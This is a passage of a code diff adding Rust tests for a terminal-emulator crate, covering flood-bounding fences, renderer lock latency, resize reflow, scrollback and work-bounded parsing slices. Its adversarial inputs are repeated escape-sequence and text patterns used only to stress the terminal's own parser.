g1_sync_abort_bounds_all_hostile_shapes() { + let shapes: [(&str, &[u8]); 5] = [ + ("sgr", b"\x1b[1;32mbuzz\x1b[0m\r\n"), + ("ascii", b"buzz substrate output\r\n"), + ("emoji", "🐝🚀✨\r\n".as_bytes()), + ("zalgo", "z\u{0301}\u{0302}\u{0303}\u{0304}\r\n".as_bytes()), + ("truecolor", b"\x1b[38;2;255;0;128mRGB\x1b[0m\r\n"), + ]; + + for (name, pattern) in shapes { + let payload = repeated(pattern, G1_BYTES); + let (mut fenced, _) = Terminal::new(size(), Fences::ALL); + feed_synchronized(&mut fenced, &payload, false); + let fenced_stats = fenced.stats(); + assert!(fenced_stats.sync_aborts > 0, "{name}: F1 never fired"); + assert!( + fenced_stats.max_release <= 2 * SYNC_CAP, + "{name}: fenced release {} exceeds 128 KiB", + fenced_stats.max_release + ); + + let (mut unfenced, _) = Terminal::new(size(), Fences::NONE); + feed_synchronized(&mut unfenced, &payload, false); + let unfenced_stats = unfenced.stats(); + assert_eq!(unfenced_stats.sync_aborts, 0, "{name}: control enabled F1"); + assert!( + unfenced_stats.max_release > 2 * SYNC_CAP, + "{name}: unfenced release {} stayed inside the gate; fixture is vacuous", + unfenced_stats.max_release + ); + } +} + +/// G2 arm 1: deletion oracle. F1 remains enabled because this arm proves F2 +/// deletion under the combined production configuration. +#[test] +fn g2_hostile_unsynchronized_osc_resets_parser() { + let (mut term, _) = Terminal::new(size(), Fences::ALL); + term.feed_fully(b"\x1b]0;"); + for chunk in repeated(b"A", OSC_BUDGET * 4).chunks(CHUNK) { + term.feed_fully(chunk); + } + assert!(term.stats().osc_resets > 0, "F2 never rebuilt the parser"); +} + +/// G2 arm 2: every synchronized release is attributed. F1 is disabled so its +/// small abort releases cannot mask an implementation that omits ESU flushes. +#[test] +fn g2_each_synchronized_flush_is_attributed() { + let payload = repeated(b"A", G2_FRAME_BYTES); + let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY); + for _ in 0..G2_FRAMES { + feed_synchronized(&mut term, &payload, true); + } + let stats = term.stats(); + assert_eq!(stats.sync_aborts, 0, "F1 must be disabled in this arm"); + assert_eq!( + stats.osc_resets, G2_FRAMES as u64, + "expected one reset for each atomic synchronized release" + ); + assert!( + stats.charged_bytes >= (G2_FRAMES * G2_FRAME_BYTES) as u64, + "flush bytes were omitted from attribution: {} charged", + stats.charged_bytes + ); +} + +/// G2 arm 3: parser-visible attribution preserves a legitimate 1.5 MiB frame. +/// F1 is disabled; raw-input counting would reset mid-frame and lose markers. +#[test] +fn g2_legitimate_large_frame_preserves_all_markers() { + let markers = 200; + let payload = legitimate_frame(markers, 1_500 * 1024); + let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY); + feed_synchronized(&mut term, &payload, true); + assert_eq!( + count_markers(&term, markers), + markers, + "legitimate frame lost markers" + ); +} + +/// Legitimacy control: neither fence alone nor the production combination may +/// corrupt a normal synchronized frame. +#[test] +fn g2_legitimate_frame_survives_each_fence_configuration() { + let markers = 200; + let payload = legitimate_frame(markers, 128 * 1024); + for fences in [Fences::SYNC_ONLY, Fences::OSC_ONLY, Fences::ALL] { + let (mut term, _) = Terminal::new(size(), fences); + feed_synchronized(&mut term, &payload, true); + assert_eq!( + count_markers(&term, markers), + markers, + "{fences:?} lost markers" + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs b/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs new file mode 100644 index 0000000000..0edbefce19 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs @@ -0,0 +1,156 @@ +//! G3: the renderer's wait for the terminal lock, under flood. +//! +//! The plan originally required "reader hold < 16.7 ms". That requirement was +//! struck: measured under a 180 MB/s flood, reader hold is p50 1 us while +//! renderer *acquire* is p50 4245 us. Hold time passes trivially while the +//! window is visibly stuck, because 0.389% of feeds carry 96.4% of the lock +//! time and the p50 hold never sees them. What a human feels is the wait, so +//! that is what is gated here. +//! +//! F1 is the fence being tested. It is a memory bound *and* a latency fence: +//! it turns one ~2 MiB parser release into ~64 KiB pieces, and the renderer's +//! wait falls with it. + +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{SharedTerminal, Size, Terminal}; + +/// One frame at 60 Hz. No acquire may exceed this: a single wait this long is +/// a dropped frame regardless of how good the distribution looks. +/// +/// Unlike the p95 below, this bound **cannot be protected by headroom**, and +/// that asymmetry is why this test is `#[ignore]`d and run only in release on +/// an idle host. A quantile discards its worst samples by construction, so it +/// degrades gracefully as a machine gets noisy; a maximum over `FRAMES` samples +/// is a single observation, and any one scheduler preemption exceeds it. There +/// is no budget that makes the max arm robust to contention -- the tail it +/// catches belongs to the scheduler, not to this code. +/// +/// Measured on one 16-core host at `FRAMES = 200`: at load average ~6 the gate +/// passes; at ~31 it fails with p95 65535 us / max 164889 us. A run at ambient +/// load produced p95 1023 us -- 4x *inside* budget -- while max alone blew at +/// 38150 us. +/// +/// So the repair for a flake here is to fix the host, never to raise this +/// number. Raising it is the one change that silently removes the only assert +/// that catches the user-visible failure: a hitch is a max-event, and a +/// p95-only gate passes a run containing a 38 ms stall. +const FRAME_MICROS: u64 = 16_667; + +/// p95 budget. Measured at 127 us with F1 on -- 31x of headroom, which is the +/// margin that lets *this* arm tolerate a loaded machine without becoming a +/// coin flip. The reasoning covers the quantile only; see `FRAME_MICROS`. +const P95_MICROS: u64 = 4_000; + +/// Frames sampled per arm. Counted rather than timed: sample count under a +/// wall-clock budget is a function of how slow the arm is, so a duration-based +/// loop gives the *unfenced* arm the fewest samples -- fewest exactly where the +/// tail being measured lives. Counting frames makes both arms the same +/// experiment. +const FRAMES: u32 = 200; + +/// A ~2 MiB synchronized update, closed, replayed in PTY-sized reads. +/// +/// The payload's *shape* is the load-bearing part, and it cost me a wrong +/// result to learn it. An earlier version poured 8 KiB blocks of `A` into an +/// update that was never closed. It floods just as many bytes per second, and +/// it does not discriminate F1 at all: measured p95 63 us fenced vs 63 us +/// unfenced. Plain `A` overwrites one line at a few ns per byte, so even a +/// 2 MiB release is a short lock hold. +/// +/// What makes a release expensive is work per byte -- SGR state changes and +/// `\r\n` line feeds that push rows into scrollback. With that payload the same +/// experiment separates by 129x. So this gate is sensitive to input shape and +/// not merely to input rate, which is why the control below is not optional. +fn flood(shared: &SharedTerminal, stop: &AtomicBool) { + let mut payload: Vec = b"\x1b[?2026h".to_vec(); + while payload.len() < (2 << 20) { + payload.extend_from_slice(b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n"); + } + payload.extend_from_slice(b"\x1b[?2026l"); + while !stop.load(Ordering::Relaxed) { + for chunk in payload.chunks(8192) { + if stop.load(Ordering::Relaxed) { + return; + } + shared.feed_fully(chunk); + } + } +} + +/// Render at 60 Hz for the duration of the flood, and report the renderer +/// plane's acquisition latencies. +fn measure(fences: Fences) -> buzz_terminal::AcquireStats { + let size = Size { + columns: 200, + screen_lines: 50, + scrollback: 10_000, + }; + let (term, _actions) = Terminal::new(size, fences); + let shared = Arc::new(SharedTerminal::new(term)); + let stop = Arc::new(AtomicBool::new(false)); + + let writer = { + let (shared, stop) = (Arc::clone(&shared), Arc::clone(&stop)); + thread::spawn(move || flood(&shared, &stop)) + }; + + // Don't measure the ramp: let the flood reach steady state, then clear. + thread::sleep(Duration::from_millis(200)); + shared.renderer_acquire().reset(); + + let mut encoder = Encoder::new(); + for _ in 0..FRAMES { + shared.render(&mut encoder); + thread::sleep(Duration::from_micros(FRAME_MICROS)); + } + let stats = shared.renderer_acquire().snapshot(); + + stop.store(true, Ordering::Relaxed); + writer.join().expect("flood thread panicked"); + + assert_eq!(stats.acquisitions, FRAMES as u64, "meter lost samples"); + stats +} + +/// G3: with F1 on, the renderer's wait stays inside a frame -- and the +/// unfenced control shows the fence is what puts it there. +/// +/// Both arms live in one `#[test]` on purpose. As separate tests they run +/// concurrently by default, each with its own flood thread, so each arm's +/// measurement includes the other arm's CPU load and the control's ratio +/// becomes a race between two floods rather than a statement about F1. +#[test] +#[ignore = "native performance gate; run release-mode on a known-idle host"] +fn g3_renderer_acquire_stays_within_frame_budget() { + let fenced = measure(Fences::ALL); + let p95 = fenced.percentile_micros(0.95); + assert!( + p95 <= P95_MICROS, + "renderer acquire p95 {p95} us over the {P95_MICROS} us budget (max {} us, n={})", + fenced.max_micros, + fenced.acquisitions + ); + assert!( + fenced.max_micros <= FRAME_MICROS, + "renderer waited {} us for the terminal lock -- a dropped frame (p95 {p95} us, n={})", + fenced.max_micros, + fenced.acquisitions + ); + + // The control. Without it this gate could pass because the fixture never + // contended -- green over an experiment that did not run. + let unfenced = measure(Fences::OSC_ONLY); + assert!( + unfenced.max_micros > fenced.max_micros.max(1) * 4, + "unfenced renderer max {} us vs fenced {} us -- F1 is not what holds \ + renderer latency down, and this gate is measuring something else", + unfenced.max_micros, + fenced.max_micros + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs b/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs new file mode 100644 index 0000000000..6548de9b4d --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs @@ -0,0 +1,196 @@ +//! The resize seam: what a consumer is allowed to rely on across a reflow. +//! +//! The dedup encoder caches a hash per line. A resize reflows content into +//! rows of a different width, so those cached hashes describe a grid that no +//! longer exists -- if a resize did not force a full frame, dedup could +//! suppress a row whose content genuinely changed and leave the renderer +//! showing reflowed-away text. +//! +//! It does force one: upstream's `TermDamageState::resize` sets `full` +//! (`alacritty_terminal-0.26.0` term/mod.rs:240). These fixtures hold that +//! behaviour to the seam, because it is upstream's invariant and not ours. + +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel, and every subsequent listener send silently fails. These fixtures +/// don't assert on actions, but a fixture that quietly disables a code path is +/// how a future assertion gets written against a dead one. +fn shared(size: Size) -> (SharedTerminal, Receiver) { + let (term, actions) = Terminal::new(size, Fences::ALL); + (SharedTerminal::new(term), actions) +} + +fn size(columns: usize) -> Size { + Size { + columns, + screen_lines: 10, + scrollback: 1000, + } +} + +fn grid(columns: usize, screen_lines: usize) -> Size { + Size { + columns, + screen_lines, + scrollback: 1000, + } +} + +/// A resize invalidates dedup and republishes the whole grid at the new width. +#[test] +fn resize_forces_a_full_frame_at_the_new_width() { + let (shared, _actions) = shared(size(40)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line\r\n"); + + let first = shared.render(&mut encoder); + assert!(first.full, "first frame after a fresh Term must be full"); + assert_eq!(first.viewport.columns, 40); + assert_eq!(first.viewport.generation, 0); + + // Nothing changed: dedup suppresses everything. Without this the next + // assertion could pass simply because every frame is full. + let idle = shared.render(&mut encoder); + assert!(!idle.full, "an unchanged grid must not republish"); + assert!( + idle.rows.is_empty(), + "dedup let {} unchanged rows through", + idle.rows.len() + ); + + let applied = shared.resize(size(20)); + assert_eq!( + applied.columns, 20, + "resize did not report the grid it applied" + ); + assert_eq!( + applied.generation, 1, + "generation must advance across a resize" + ); + + let after = shared.render(&mut encoder); + assert!( + after.full, + "a resize must invalidate the renderer's cached rows" + ); + assert_eq!( + after.viewport, applied, + "frame's viewport disagrees with the one resize reported applying" + ); + assert_eq!(after.rows.len(), 10, "full frame must carry every line"); + let row0: String = after.rows[0] + .spans + .iter() + .map(|s| s.text.as_str()) + .collect(); + assert_eq!(row0.chars().count(), 20, "row emitted at the old width"); + assert!( + row0.starts_with("hello world"), + "content lost across reflow: {row0:?}" + ); +} + +/// A no-op resize is not a resize: it must not burn a generation, or every +/// `ResizeObserver` tick would look like a discontinuity to the consumer. +#[test] +fn identical_resize_is_inert() { + let (shared, _actions) = shared(size(40)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"hello"); + shared.render(&mut encoder); + + let applied = shared.resize(size(40)); + assert_eq!( + applied.generation, 0, + "a same-size resize advanced the generation" + ); + + let after = shared.render(&mut encoder); + assert_eq!(after.viewport, applied); + assert!( + !after.full, + "a same-size resize forced a needless full repaint" + ); +} + +/// A **full frame must carry every row**, including rows whose content is +/// byte-identical to what sat at that index before the resize. +/// +/// This is the arm that catches a dedup cache surviving a full frame, and the +/// width-changing fixture above does *not* catch it: changing the width changes +/// every row's cell contents, so the hashes differ and the rows are emitted for +/// the wrong reason. A **height-only** resize keeps the width, so reflowed rows +/// hash exactly as before -- and a stale cache suppresses them right after the +/// consumer was told to discard what it had. The result is a renderer holding +/// nothing where content should be. +/// +/// Verified concretely: growing 10 -> 20 lines moves "hello world" from row 0 +/// to row 1, so correctness here is not merely about frame bookkeeping. +#[test] +fn full_frame_after_height_resize_republishes_unchanged_rows() { + let (shared, _actions) = shared(grid(40, 10)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line"); + let first = shared.render(&mut encoder); + assert!(first.full); + assert_eq!(first.rows.len(), 10); + + shared.resize(grid(40, 20)); + let after = shared.render(&mut encoder); + assert!( + after.full, + "a resize must invalidate the renderer's cached rows" + ); + assert_eq!(after.viewport.screen_lines, 20); + assert_eq!( + after.rows.len(), + 20, + "full frame carried {} of 20 rows -- dedup suppressed rows the consumer \ + was simultaneously told to discard, leaving them blank", + after.rows.len() + ); +} + +/// A frame is stamped with the grid it was **captured on**, and a later resize +/// does not retroactively re-label it. +/// +/// This is the cross-transport race in the integration lane: frame delivery and +/// the resize call are separate paths, so a generation-N frame can arrive after +/// generation N+1 has been applied. Rejecting it requires the stamp to be +/// capture-time truth. +/// +/// Note what is and is not proven here. That an owned `Frame` cannot mutate is +/// guaranteed by the language, so asserting it against a copy of itself would +/// be tautological. What this asserts is that `capture()` stamps the viewport +/// as it was **at capture**, against explicit expected values -- a `capture()` +/// that read the viewport a moment later, or a `Frame` that carried a handle +/// back to the terminal, would fail here. +#[test] +fn a_frame_is_stamped_with_the_grid_it_was_captured_on() { + let (shared, _actions) = shared(grid(40, 10)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"\x1b[2J\x1b[Hhello world"); + + let in_flight = shared.render(&mut encoder); + assert_eq!(in_flight.viewport.generation, 0); + assert_eq!(in_flight.viewport.columns, 40); + + let applied = shared.resize(grid(20, 10)); + assert_eq!(applied.generation, 1); + assert_eq!(applied.columns, 20); + + // The held frame still describes the pre-resize grid, so a consumer can + // compare the two and discard it rather than paint 40-column rows onto a + // 20-column grid. + assert_eq!( + in_flight.viewport.columns, 40, + "a frame captured before the resize describes the post-resize grid; \ + a stale frame arriving late would be indistinguishable from a fresh one" + ); + assert_eq!(in_flight.viewport.generation, 0); + assert_ne!(in_flight.viewport, applied); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs b/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs new file mode 100644 index 0000000000..22652884a6 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs @@ -0,0 +1,399 @@ +//! Reaching the scrollback the engine has always been keeping. +//! +//! The grid retains 10k lines in production and, before this, nothing could +//! move the viewport off the live edge. Three things have to hold at once for +//! that to become usable, and each one fails silently on its own: +//! +//! 1. **Direction.** A flipped sign still scrolls, still clamps, and still +//! repaints. Only a human notices. So the direction is asserted here, in +//! test names, rather than left to the caller to get right. +//! 2. **Coordinates.** Capture reads screen rows out of a grid indexed from +//! the live edge. Off-by-the-offset shows *some* plausible text. +//! 3. **Dedup.** The renderer's per-row hashes describe the screen it last +//! saw. Scrolling changes every row without changing the grid, so a scroll +//! that consumed the full-damage flag would leave those hashes describing +//! a viewport that is no longer shown -- and they would then suppress a row +//! that really did change. + +use buzz_terminal::damage::{Encoder, Frame}; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel and every subsequent listener send silently fails. +fn terminal( + columns: usize, + screen_lines: usize, + scrollback: usize, +) -> (SharedTerminal, Receiver) { + let size = Size { + columns, + screen_lines, + scrollback, + }; + let (term, actions) = Terminal::new(size, Fences::ALL); + (SharedTerminal::new(term), actions) +} + +/// The text of every row the frame carries, indexed by screen row. +/// +/// Blank rows are kept as empty strings rather than filtered out: this suite +/// is about *which row shows which line*, and dropping the blanks would +/// renumber every row after one. +fn rows_by_line(frame: &Frame) -> Vec<(usize, String)> { + frame + .rows + .iter() + .map(|row| { + ( + row.line, + row.spans + .iter() + .map(|span| span.text.as_str()) + .collect::() + .trim_end() + .to_string(), + ) + }) + .collect() +} + +/// Just the text, in screen order. Only meaningful for a full frame. +fn screen(frame: &Frame) -> Vec { + rows_by_line(frame) + .into_iter() + .map(|(_, text)| text) + .collect() +} + +/// Fill history with numbered lines, then take a caught-up renderer. +/// +/// Returns the terminal and an encoder that has already consumed the damage +/// from that output, so anything a later assertion sees is caused by the +/// thing under test rather than by the fixture. +fn scrolled_terminal(lines: usize) -> (SharedTerminal, Receiver, Encoder) { + let (shared, actions) = terminal(20, 4, 100); + let payload = (1..=lines) + .map(|n| format!("L{n:02}")) + .collect::>() + .join("\r\n"); + shared.feed_fully(payload.as_bytes()); + let mut renderer = Encoder::new(); + let _ = shared.render(&mut renderer); + (shared, actions, renderer) +} + +#[test] +fn the_fixture_starts_at_the_live_edge_showing_the_newest_lines() { + let (shared, _actions, _) = scrolled_terminal(10); + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L07", "L08", "L09", "L10"] + ); + assert_eq!(shared.lock().display_offset(), 0); +} + +/// **The direction, at the engine boundary.** Positive goes *into* history. +/// +/// This is upstream's convention and the reason the embedder negates the DOM +/// delta exactly once. If this assertion and `terminal_scroll`'s negation are +/// ever flipped together the pair still passes -- which is why the embedder's +/// own direction test asserts against the DOM sign rather than against this +/// one. +#[test] +fn positive_lines_scroll_backwards_into_history() { + let (shared, _actions, _) = scrolled_terminal(10); + + assert!(shared.scroll(2), "two lines of history exist to move into"); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L05", "L06", "L07", "L08"], + "scrolling back two lines must show two older lines" + ); + assert_eq!(shared.lock().display_offset(), 2); +} + +#[test] +fn negative_lines_scroll_forwards_towards_the_live_edge() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!(shared.scroll(3)); + + assert!(shared.scroll(-1), "one line back towards the edge"); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L05", "L06", "L07", "L08"] + ); + assert_eq!(shared.lock().display_offset(), 2); +} + +/// The momentum guard. A trackpad flick keeps delivering events for about a +/// second after the fingers lift; once history runs out every one of them +/// must be free. +#[test] +fn scrolling_past_the_oldest_line_clamps_and_reports_no_movement() { + let (shared, _actions, _) = scrolled_terminal(10); + // Six lines of history: ten written, four on screen. + assert!(shared.scroll(6)); + assert_eq!(shared.lock().display_offset(), 6); + + assert!( + !shared.scroll(1), + "there is nothing older, so nothing moved" + ); + assert!( + !shared.scroll(1_000), + "and a whole flick of it still moves nothing" + ); + assert_eq!(shared.lock().display_offset(), 6); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L01", "L02", "L03", "L04"], + "the top of history is the oldest line, not a blank grid" + ); +} + +#[test] +fn scrolling_forwards_at_the_live_edge_reports_no_movement() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!(!shared.scroll(-1)); + assert!(!shared.scroll(-1_000)); + assert_eq!(shared.lock().display_offset(), 0); +} + +#[test] +fn snapping_to_the_bottom_moves_only_when_scrolled_back() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!( + !shared.scroll_to_bottom(), + "already live: a keystroke must not cost a repaint" + ); + + assert!(shared.scroll(4)); + assert!(shared.scroll_to_bottom(), "scrolled back: this is the snap"); + assert_eq!(shared.lock().display_offset(), 0); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L07", "L08", "L09", "L10"] + ); +} + +/// Why the snap has to exist at all: output does **not** bring the viewport +/// back. The grid pins a scrolled-back viewport and piles new lines above it +/// (`Grid::scroll_up` advances `display_offset` when it is non-zero), which is +/// the behaviour you want while reading -- and means the echo of a keystroke +/// would otherwise land on a screen the user cannot see. +#[test] +fn output_while_scrolled_back_leaves_the_viewport_where_the_reader_put_it() { + let (shared, _actions, mut renderer) = scrolled_terminal(10); + assert!(shared.scroll(3)); + + shared.feed_fully(b"\r\nL11\r\nL12"); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L04", "L05", "L06", "L07"], + "the reader stays put while new output accumulates below" + ); + + // And the snap still returns to the *new* live edge, not the old one. + assert!(shared.scroll_to_bottom()); + let after = shared.render(&mut renderer); + assert!(after.full, "a viewport move is a repaint"); + assert_eq!(screen(&after), vec!["L09", "L10", "L11", "L12"]); +} + +/// **The silent-corruption case.** +/// +/// The renderer's `Encoder` holds one content hash per screen row. Scrolling +/// changes what every row shows without changing a single cell, so those +/// hashes are stale the instant the viewport moves. The engine's protection is +/// that `scroll_display` marks the grid fully damaged and the embedder +/// republishes via `snapshot`, which does not consume damage -- so the +/// full-damage flag survives for the renderer's own next `render()`, which is +/// what clears its hashes. +/// +/// The discriminating part is the row content. Row 0 after the scroll holds +/// `L04`; if a stale hash for row 0 -- taken when it held `L07` -- survived, +/// the row would still ship, because the hashes differ. So the test scrolls to +/// a position where the *pre-scroll* text reappears at the *same screen row*: +/// scrolling back 4 puts `L03..L06` on screen, and then scrolling forward 4 +/// restores exactly the rows the hashes describe. A renderer whose hashes were +/// never cleared suppresses the whole screen there, and the user is left +/// looking at history that has scrolled away. +#[test] +fn a_scroll_does_not_leave_the_renderer_deduping_against_a_viewport_it_no_longer_shows() { + let (shared, _actions, mut renderer) = scrolled_terminal(10); + + // The embedder's scroll path: move, then republish by snapshot. + assert!(shared.scroll(4)); + let mut scroll_encoder = Encoder::new(); + let republished = shared.snapshot(&mut scroll_encoder); + assert_eq!(screen(&republished), vec!["L03", "L04", "L05", "L06"]); + + // The renderer thread's own next capture must still be told to repaint. + let after_scroll = shared.render(&mut renderer); + assert!( + after_scroll.full, + "the scroll's snapshot must not have eaten the full-damage flag" + ); + assert_eq!(screen(&after_scroll), vec!["L03", "L04", "L05", "L06"]); + + // Now back to where the renderer's *original* hashes were taken. Every row + // matches a hash it already holds, so only a cleared cache ships them. + assert!(shared.scroll(-4)); + let mut back_encoder = Encoder::new(); + let _ = shared.snapshot(&mut back_encoder); + let after_return = shared.render(&mut renderer); + assert!(after_return.full); + assert_eq!( + screen(&after_return), + vec!["L07", "L08", "L09", "L10"], + "returning to a previously-hashed viewport must still repaint it" + ); +} + +/// A row that genuinely changes while the viewport is scrolled back must +/// still reach the renderer. This is the same dedup hazard from the other +/// side: content changing under a stale hash rather than a stale hash under +/// unchanged content. +#[test] +fn a_row_that_changes_while_scrolled_back_still_ships() { + let (shared, _actions, mut renderer) = scrolled_terminal(10); + assert!(shared.scroll(2)); + let mut scroll_encoder = Encoder::new(); + let _ = shared.snapshot(&mut scroll_encoder); + let _ = shared.render(&mut renderer); + + // Rewrite the top line of the active area, which is screen row 2 while + // scrolled back two. + shared.feed_fully(b"\x1b[1;1HCHANGED\x1b[K"); + + let frame = shared.render(&mut renderer); + let changed = rows_by_line(&frame) + .into_iter() + .find(|(_, text)| text == "CHANGED"); + assert_eq!( + changed, + Some((2, "CHANGED".to_string())), + "the rewritten active row must ship, at its scrolled screen position; got {:?}", + rows_by_line(&frame) + ); +} + +/// The cursor plane travels with the viewport, because the renderer paints it +/// at a screen row and the grid stores it at an active-area row. +#[test] +fn the_cursor_moves_down_the_screen_as_the_viewport_scrolls_back() { + let (shared, _actions, _) = scrolled_terminal(10); + let mut encoder = Encoder::new(); + let live = shared.snapshot(&mut encoder); + assert_eq!(live.cursor.line, 3, "cursor sits on the last active row"); + assert!(live.cursor.visible); + + assert!(shared.scroll(2)); + let mut scrolled_encoder = Encoder::new(); + let scrolled = shared.snapshot(&mut scrolled_encoder); + assert_eq!( + scrolled.cursor.line, 3, + "row 3 + 2 is off a four-row screen, so it clamps to the last row" + ); + assert!( + !scrolled.cursor.visible, + "scrolled off the bottom, so it must not be painted on an unrelated line" + ); +} + +/// The clamp above is not the whole story: a cursor that is merely pushed +/// *down* -- still on screen -- must report its new row, not its old one. A +/// capture that ignored the offset entirely would pass the clamp test above +/// (row 3 is where the cursor already was) and fail this one. +/// +/// Parking the cursor on the top row with `ESC[H` is what leaves it room to +/// move: at the live edge it is on row 0, and scrolling back two puts it on +/// row 2 of a four-row screen, still visible. +#[test] +fn a_cursor_still_on_screen_reports_its_scrolled_row() { + let (shared, _actions, _) = scrolled_terminal(10); + shared.feed_fully(b"\x1b[H"); + + let mut live_encoder = Encoder::new(); + let live = shared.snapshot(&mut live_encoder); + assert_eq!(live.cursor.line, 0, "parked on the top row"); + assert!(live.cursor.visible); + + assert!(shared.scroll(2)); + let mut encoder = Encoder::new(); + let frame = shared.snapshot(&mut encoder); + assert_eq!( + frame.cursor.line, 2, + "the caret follows the row it is written on down the screen" + ); + assert!( + frame.cursor.visible, + "still inside the viewport, so still painted" + ); +} + +#[test] +fn the_cursor_becomes_visible_again_on_the_way_back() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!(shared.scroll(3)); + assert!(shared.scroll_to_bottom()); + + let mut encoder = Encoder::new(); + let frame = shared.snapshot(&mut encoder); + assert_eq!(frame.cursor.line, 3); + assert!(frame.cursor.visible); +} + +/// The alternate screen has no scrollback by construction: `Term::new` builds +/// the inactive grid with a zero scroll limit. So scrolling inside `vim` or +/// `less` must be a clamped no-op, leaving the application's own scrolling to +/// the application. Asserted rather than assumed -- a viewport that drifted +/// here would show the primary screen's history behind a full-screen app. +#[test] +fn the_alternate_screen_has_no_scrollback_to_reach() { + let (shared, _actions, _) = scrolled_terminal(10); + + shared.feed_fully(b"\x1b[?1049h"); + shared.feed_fully(b"ALT"); + + assert!(!shared.scroll(1), "no history exists on the alt screen"); + assert!(!shared.scroll(1_000)); + assert_eq!(shared.lock().display_offset(), 0); + + // And the primary screen's position is undisturbed on the way back. + shared.feed_fully(b"\x1b[?1049l"); + assert!(shared.scroll(2)); + assert_eq!(shared.lock().display_offset(), 2); +} + +/// A terminal configured with no history cannot scroll at all. The guard is +/// upstream's clamp against `history_size()`, and this pins it: without it the +/// offset would advance and capture would index above the grid. +#[test] +fn a_terminal_without_scrollback_never_moves() { + let (shared, _actions) = terminal(20, 4, 0); + shared.feed_fully(b"a\r\nb\r\nc\r\nd\r\ne\r\nf"); + + assert!(!shared.scroll(1)); + assert!(!shared.scroll(1_000)); + assert_eq!(shared.lock().display_offset(), 0); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["c", "d", "e", "f"] + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs b/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs new file mode 100644 index 0000000000..e027bfbc1f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs @@ -0,0 +1,882 @@ +//! The work-denominated slicing seam: what bounds one lock hold, what bounds +//! the queue behind it, and what proves the work was actually done. +//! +//! **This is half a suite.** The adversarial resize and overflow cases live +//! in `slicing_adversarial.rs`, split out for the file-size ratchet; the two +//! files are one set of contracts. A mutation check scoped with +//! `--test slicing` covers 20 of 76 package tests and can report a confident +//! pass while the killing fixture sits in the sibling file. Dropping the +//! scrollback debt does exactly that, then dies under the package. +//! +//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`. +//! +//! Every assertion here is an **exact** expected value, never a `> 0`. A fix +//! that bounds the lock by *dropping* work instead of deferring it reports a +//! beautiful latency and a perfect screen-content receipt -- DECALN fills the +//! grid with `E`, and the second DECALN overwrites the first, so grid content +//! saturates after one of ten thousand. `completed_units == expected` is the +//! only predicate that separates "deferred the work" from "skipped it", and +//! `> 0` is satisfied by a seam that executed exactly one unit. + +use buzz_terminal::fences::{ + max_atom_work, max_drain_work, slice_bytes_remaining, Fences, MAX_SLICE, SYNC_CAP, TAIL_CAP, + WORK_BUDGET, +}; +use buzz_terminal::{Size, Terminal}; + +const COLUMNS: usize = 200; +const LINES: usize = 50; +const CELLS: u64 = (COLUMNS * LINES) as u64; + +fn terminal() -> Terminal { + Terminal::new( + Size { + columns: COLUMNS, + screen_lines: LINES, + scrollback: 100, + }, + Fences::ALL, + ) + .0 +} + +/// A deliberately tiny grid, for the arms that must fill the 4 MiB tail. +/// +/// Filling the cap is cheap; *draining* it is not, and on a 200x50 grid a +/// full tail of DECALN is ~1e10 work units of real parsing. The cap is a +/// property of the byte depth, not of the grid, so a small grid exercises the +/// same thresholds in seconds instead of minutes -- but it does change what +/// is being tested, so it is named rather than reused silently: these arms +/// test the *depth* predicates, and the arms above test the work bound. +fn tiny() -> Terminal { + Terminal::new( + Size { + columns: 10, + screen_lines: 2, + scrollback: 10, + }, + Fences::ALL, + ) + .0 +} + +/// Feed until the tail reaches its cap, or give up. +/// +/// Bounded on purpose. A test that loops until a predicate goes true hangs +/// forever when the predicate is what broke, which turns a killed mutant into +/// a wedged CI job -- and a suite that hangs instead of failing is a suite +/// nobody can bisect. +fn fill_tail(term: &mut Terminal, payload: &[u8]) -> bool { + for _ in 0..10_000 { + if term.tail_full() { + return true; 